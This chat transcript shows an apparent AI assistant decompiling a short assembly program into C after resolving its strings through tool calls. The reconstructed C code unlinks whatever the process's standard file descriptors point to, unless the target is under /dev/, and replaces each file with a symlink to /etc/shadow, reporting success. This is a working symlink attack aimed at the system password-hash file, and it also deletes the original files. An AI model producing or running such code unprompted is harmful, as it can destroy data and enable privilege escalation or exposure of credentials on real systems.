user: Translate the below assembly code into C programming language:

```asm
<main>:
  endbr64
  push   %r15
  lea    D28(%rip),%r15
  push   %r14
  lea    D42(%rip),%r14
  push   %r13
  lea    D96(%rip),%r13
  push   %r12
  push   %rbp
  push   %rbx
  xor    %ebx,%ebx
  sub    $0x218,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0x208(%rsp)
  xor    %eax,%eax
  mov    %rsp,%r12
  lea    0x100(%rsp),%rbp
L4:
  mov    %ebx,%esi
  mov    %r14,%rdi
  xor    %eax,%eax
  call   <printf@plt>
  xor    %eax,%eax
  call   <getpid@plt>
  mov    %r13,%rsi
  mov    %r12,%rdi
  mov    %ebx,%ecx
  mov    %eax,%edx
  call   <sprintf@plt>
  mov    $0xff,%edx
  mov    %rbp,%rsi
  mov    %r12,%rdi
  call   <readlink@plt>
  cmp    $0xffffffff,%eax
  je     L86
  cltq
  mov    $0x5,%edx
  mov    %r15,%rsi
  mov    %rbp,%rdi
  movb   $0x0,0x100(%rsp,%rax,1)
  call   <strncmp@plt>
  test   %rax,%rax
  jne    L90
  lea    D92(%rip),%rdi
  call   <puts@plt>
L61:
  add    $0x1,%ebx
  cmp    $0x3,%ebx
  jne    L4
  mov    0x208(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L76
  add    $0x218,%rsp
  xor    %eax,%eax
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
  nopl   0x0(%rax,%rax,1)
L90:
  lea    D90(%rip),%rdi
  xor    %eax,%eax
  lea    D106(%rip),%rdx
  mov    %rbp,%rsi
  call   <printf@plt>
  mov    %rbp,%rdi
  call   <unlink@plt>
  cmp    $0xffffffff,%eax
  je     L50
  mov    %rbp,%rsi
  lea    D106(%rip),%rdi
  call   <symlink@plt>
  cmp    $0xffffffff,%eax
  je     L73
  lea    D34(%rip),%rdi
  call   <puts@plt>
  jmp    L61
L86:
  lea    D69(%rip),%rdi
  call   <puts@plt>
  jmp    L61
L50:
  lea    D32(%rip),%rdi
  call   <puts@plt>
  jmp    L61
L73:
  lea    D107(%rip),%rdi
  call   <puts@plt>
  jmp    L61
L76:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: parse_data
arguments: data_tag: D28
type: string
name: parse_data
arguments: data_tag: D42
type: string
name: parse_data
arguments: data_tag: D96
type: string
name: parse_data
arguments: data_tag: D92
type: string
name: parse_data
arguments: data_tag: D90
type: string
name: parse_data
arguments: data_tag: D106
type: string
name: parse_data
arguments: data_tag: D34
type: string
name: parse_data
arguments: data_tag: D69
type: string
name: parse_data
arguments: data_tag: D32
type: string
name: parse_data
arguments: data_tag: D107
type: string

tool: D28: /dev/

tool: D42: fd %d ...


tool: D96: /proc/%d/fd/%d

tool: D92: skipping because it is connected to pts

tool: D90: trying to make symlink %s -> %s...


tool: D106: /etc/shadow

tool: D34: successfully replaced.

tool: D69: failed to readlink(2)

tool: D32: failed to unlink(2)

tool: D107: failed to symlink(2)

assistant: ```c
int main(void) {
  int fd;
  char fdpath[256], outpath[256];
  FILE *fp;
  int len;
  for (fd = 0; fd <= 2; fd++) {
    printf("fd %d ...\n", fd);
    sprintf(fdpath, "/proc/%d/fd/%d", (int)getpid(), fd);
    len = readlink(fdpath, outpath, sizeof(outpath) - 1);
    if (len == -1) {
      printf("failed to readlink(2)\n");
      continue;
    }
    outpath[len] = '\0';
    if (strncmp(outpath, "/dev/", 5) == 0) {
      printf("skipping because it is connected to pts\n");
    } else {
      printf("trying to make symlink %s -> %s...\n", outpath, "/etc/shadow");
      if (unlink(outpath) == -1) {
        printf("failed to unlink(2)\n");
        continue;
      }
      if (symlink("/etc/shadow", outpath) == -1) {
        printf("failed to symlink(2)\n");
        continue;
      }
      printf("successfully replaced.\n");
    }
  }
  return 0;
}
```